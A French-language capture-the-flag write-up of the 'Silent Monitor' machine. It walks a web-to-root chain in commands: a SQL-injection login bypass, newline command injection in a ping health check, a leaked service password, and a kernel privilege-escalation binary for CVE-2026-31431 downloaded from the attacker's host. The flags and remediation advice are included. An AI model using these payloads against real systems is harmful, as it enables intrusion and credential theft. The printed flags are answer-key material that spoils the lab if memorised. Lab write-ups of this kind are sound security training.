Post

Write-up - Silent Monitor

Write-up - Silent Monitor

Write-up - Silent Monitor

La cible est la machine CTF Silent Monitor (10.128.147.105). Le chemin d’exploitation suivi repose sur une authentification web contournée, une injection de commande dans une sonde de supervision, puis une élévation de privilèges locale sur le noyau Linux.

Synthèse

La compromission suit la chaîne suivante :

  1. énumération réseau et découverte d’un portail NOC sur le port 5050
  2. contournement de l’authentification du portail par injection SQL
  3. abus de la fonctionnalité Host Health Check pour exécuter des commandes via injection de retour à la ligne
  4. lecture d’un fichier de configuration exposant le mot de passe du compte sysadmin
  5. connexion SSH avec sysadmin et récupération du flag utilisateur
  6. identification du noyau 6.8.0-1017-aws
  7. recherche d’un exploit local, échec de la copie exploit-db, puis utilisation du binaire fourni par l’auteur
  8. élévation de privilèges vers root avec CVE-2026-31431 et récupération du flag final

Reconnaissance

Le scan TCP complet montre uniquement deux ports ouverts : SSH sur 22/tcp et l’application NOC sur 5050/tcp.

1
2
TARGET=10.128.147.105
nmap -p- -Pn -oA "$TARGET"_full_ports --min-rate 1000 "$TARGET"

Scan TCP complet

L’énumération de contenu web sur le port 5050 révèle notamment une route /internal.

1
ffuf -c -w /usr/share/dirb/wordlists/common.txt -u "http://$TARGET:5050/FUZZ"

Énumération ffuf

Contournement de l’authentification

Le portail CORPNET NOC expose une page de connexion opérateur. Le formulaire accepte une injection SQL simple dans le champ username.

1
' OR 1=1--

Injection SQL sur le formulaire de connexion

Cette injection ouvre une session opérateur netops et donne accès au tableau de bord interne. Le tableau de bord liste plusieurs services, dont une API NOC sur 0.0.0.0:5050, un collecteur SNMP local, un agent de backup local et une fonctionnalité de health check.

Tableau de bord NOC authentifié

Injection de commande dans le health check

La page Host Health Check permet de lancer une sonde ICMP vers une cible fournie par l’opérateur.

Formulaire Host Health Check

Le paramètre target est utilisé dans une commande ping. En injectant un retour à la ligne URL-encodé (%0a), il est possible d’ajouter une commande après la cible ICMP.

1
target=127.0.0.1%0aid

La réponse confirme une exécution en tant que www-data.

Injection de commande avec id

Une énumération du répertoire applicatif montre les fichiers suivants :

1
target=127.0.0.1%0als
1
2
3
4
app.py
netops.db
secret.config
templates

Liste des fichiers applicatifs

Le fichier secret.config contient la configuration applicative et expose un compte de service utilisé par l’agent de backup.

1
target=127.0.0.1%0acat secret.config
1
2
3
[backup_agent]
run_as = sysadmin
password = S3curBackup$Acc3ss!

Secrets dans secret.config

Accès SSH sysadmin

Le mot de passe récupéré dans secret.config est réutilisable pour se connecter en SSH avec le compte sysadmin.

1
ssh sysadmin@$TARGET

Connexion SSH avec sysadmin

Le compte sysadmin permet de lire le flag utilisateur.

1
2
3
id
ls
cat user.txt

Flag utilisateur

Flag obtenu :

1
THM{sQ1i_4nd_cMd_1nj3ct10n_13D_y@u_h3re!}

Le répertoire backups contient aussi une base KeePass infrastructure.kdbx. Elle confirme la présence d’exports de secrets d’infrastructure, mais le chemin utilisé ici pour obtenir root passe ensuite par l’élévation de privilèges noyau.

1
2
cat backups/README.txt
file backups/infrastructure.kdbx

Base KeePass dans les backups

Recherche d’élévation de privilèges

La version du noyau est 6.8.0-1017-aws sur Ubuntu 22.04.

1
uname -a

Version du noyau

Une recherche searchsploit sur Linux Kernel 6.8 identifie un exploit local :

1
searchsploit linux kernel 6.8

Recherche searchsploit Linux Kernel 6.8

L’entrée pertinente est Linux/local/52573.py, associée à Linux Kernel 6.8 - Local Privilege Escalation.

1
searchsploit -x Linux/local/52573.py

Métadonnées exploit-db 52573

Entre cette étape et la récupération du binaire final, j’ai d’abord essayé l’exploit récupéré via searchsploit depuis exploit-db. Cette copie n’était pas fonctionnelle dans l’environnement de la machine. Elle était également marquée Verified: False, et son conditionnement local ne permettait pas une exploitation propre.

Le fichier exploit-db indique toutefois l’auteur et le projet original :

1
Exploit Author: Long Fong Chan (https://github.com/iss4cf0ng)

En-tête de l'exploit exploit-db

J’ai donc récupéré la release fournie directement par l’auteur :

1
https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail

La documentation de la release fournit les binaires précompilés x86 et x64, ainsi que les modes --test et --exploit.

Usage de la release de l'auteur

Élévation de privilèges avec CVE-2026-31431

Le binaire CVE-2026-31431-Linux-Copy-Fail_x86 est transféré depuis la machine attaquante vers la cible.

1
wget http://192.168.153.192/CVE-2026-31431-Linux-Copy-Fail_x86

Téléchargement du binaire d'exploitation

Après ajout du bit d’exécution, le mode --test confirme que la cible est vulnérable.

1
2
chmod +x CVE-2026-31431-Linux-Copy-Fail_x86
./CVE-2026-31431-Linux-Copy-Fail_x86 --test

Test de vulnérabilité CVE-2026-31431

Le mode --exploit ouvre ensuite un shell root.

1
2
3
4
5
./CVE-2026-31431-Linux-Copy-Fail_x86 --exploit
id
cd /root
ls
cat root.txt

Shell root et flag final

Flag obtenu :

1
THM{KDBx_V4u17_H4s_b33n_cr4ck3d_OpeN}

Tableau récapitulatif des flags

ÉtapeVulnérabilité principaleFlag
UtilisateurSQLi, injection de commande, fuite du mot de passe sysadminTHM{sQ1i_4nd_cMd_1nj3ct10n_13D_y@u_h3re!}
RootCVE-2026-31431 sur Linux kernel 6.8THM{KDBx_V4u17_H4s_b33n_cr4ck3d_OpeN}

Causes racines et remédiations

  • Paramétrer les requêtes SQL et refuser toute concaténation directe d’entrées utilisateur dans l’authentification.
  • Restreindre l’accès aux routes /internal avec une authentification robuste, des rôles serveur et des journaux exploitables.
  • Ne jamais construire une commande système avec une entrée utilisateur brute ; utiliser des appels sans shell, une allowlist stricte de cibles et une validation IP/hostname côté serveur.
  • Retirer les secrets applicatifs du répertoire web et stocker les identifiants dans un gestionnaire de secrets.
  • Ne pas réutiliser les mots de passe de comptes de service pour des comptes SSH interactifs.
  • Protéger les exports KeePass et les répertoires de backup avec des permissions minimales.
  • Maintenir le noyau Linux à jour et appliquer rapidement les correctifs de sécurité locaux.

Conclusion

Silent Monitor illustre une chaîne web-to-root classique : une authentification fragile donne accès à une fonctionnalité interne, l’injection de commande expose un secret de service, puis la réutilisation de ce secret permet un accès SSH. L’élévation de privilèges finale repose sur un noyau vulnérable à CVE-2026-31431. La copie exploit-db trouvée via searchsploit n’a pas été exploitable directement ; la release publiée par l’auteur a fourni le binaire fonctionnel utilisé pour terminer la machine.

This post is licensed under CC BY 4.0 by the author.